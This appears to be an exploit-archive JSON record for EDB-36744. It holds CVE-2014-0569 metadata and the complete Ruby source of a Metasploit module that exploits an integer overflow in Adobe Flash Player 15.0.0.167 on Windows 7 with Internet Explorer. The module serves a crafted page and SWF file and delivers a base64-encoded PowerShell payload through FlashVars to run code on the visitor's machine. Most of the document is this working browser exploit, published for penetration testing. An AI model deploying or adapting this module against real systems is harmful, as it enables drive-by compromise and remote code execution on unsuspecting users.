{"exploit":{"id":"EDB-36744","name":"Adobe Flash Player 15.0.0.167 - casi32 Integer Overflow (Metasploit)","description":"Adobe Flash Player 15.0.0.167 - casi32 Integer Overflow (Metasploit)","cves":["CVE-2014-0569"],"author":"Metasploit","published":"2015-04-13","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/36744","path":"exploits/windows/remote/36744.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-36744.rb","vulnerabilities":[{"id":"CVE-2014-0569","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer overflow in Adobe Flash Player before 13.0.0.250 and 14.x and 15.x before 15.0.0.189 on Windows and OS X and before 11.2.202.411 on Linux, Adobe AIR before 15.0.0.293, Adobe AIR SDK before 15.0.0.302, and Adobe AIR SDK & Compiler before 15.0.0.302 allows attackers to execute arbitrary code via unspecified vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-0569","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-0569"},"updatedAt":"2024-08-06T09:20:19.819Z","retrievedAt":"2026-11-26T14:06:57.939Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-36744.png?v=2","url":"https://exploitbin.com/exploits/EDB-36744","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-36744/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-36744/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Powershell\n  include Msf::Exploit::Remote::BrowserExploitServer\n\n  def initialize(info={})\n    super(update_info(info,\n      'Name'                => 'Adobe Flash Player casi32 Integer Overflow',\n      'Description'         => %q{\n        This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in\n        the casi32 method, where an integer overflow occurs if a ByteArray of length 0 is setup as\n        domainMemory for the current application domain. This module has been tested successfully\n        on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 15.0.0.167.\n      },\n      'License'             => MSF_LICENSE,\n      'Author'              =>\n        [\n          'bilou', # Vulnerability discovery\n          'juan vazquez' # msf module\n        ],\n      'References'          =>\n        [\n          ['ZDI', '14-365'],\n          ['CVE', '2014-0569'],\n          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-22.html'],\n          ['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html']\n        ],\n      'Payload'             =>\n        {\n          'DisableNops' => true\n        },\n      'Platform'            => 'win',\n      'BrowserRequirements' =>\n        {\n          :source  => /script|headers/i,\n          :os_name => OperatingSystems::Match::WINDOWS_7,\n          :ua_name => Msf::HttpClients::IE,\n          :flash   => lambda { |ver| ver =~ /^15\\./ && ver == '15.0.0.167' },\n          :arch    => ARCH_X86\n        },\n      'Targets'             =>\n        [\n          [ 'Automatic', {} ]\n        ],\n      'Privileged'          => false,\n      'DisclosureDate'      => 'Oct 14 2014',\n      'DefaultTarget'       => 0))\n  end\n\n  def exploit\n    @swf = create_swf\n    super\n  end\n\n  def on_request_exploit(cli, request, target_info)\n    print_status(\"Request: #{request.uri}\")\n\n    if request.uri =~ /\\.swf$/\n      print_status('Sending SWF...')\n      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})\n      return\n    end\n\n    print_status('Sending HTML...')\n    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})\n  end\n\n  def exploit_template(cli, target_info)\n    swf_random = \"#{rand_text_alpha(4 + rand(3))}.swf\"\n    target_payload = get_payload(cli, target_info)\n    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})\n    b64_payload = Rex::Text.encode_base64(psh_payload)\n\n    html_template = %Q|<html>\n    <body>\n    <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" />\n    <param name=\"movie\" value=\"<%=swf_random%>\" />\n    <param name=\"allowScriptAccess\" value=\"always\" />\n    <param name=\"FlashVars\" value=\"sh=<%=b64_payload%>\" />\n    <param name=\"Play\" value=\"true\" />\n    <embed type=\"application/x-shockwave-flash\" width=\"1\" height=\"1\" src=\"<%=swf_random%>\" allowScriptAccess=\"always\" FlashVars=\"sh=<%=b64_payload%>\" Play=\"true\"/>\n    </object>\n    </body>\n    </html>\n    |\n\n    return html_template, binding()\n  end\n\n  def create_swf\n    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0569', 'msf.swf')\n    swf =  ::File.open(path, 'rb') { |f| swf = f.read }\n\n    swf\n  end\n\nend","sha256":"561719e061c8aec200ac545436088524323d9b4dbc8fa10e60b1131d01364590","bytes":3605,"fetchedAt":"2026-11-26T14:06:56.238Z","encoding":"utf-8 (display only; download retains original bytes)"}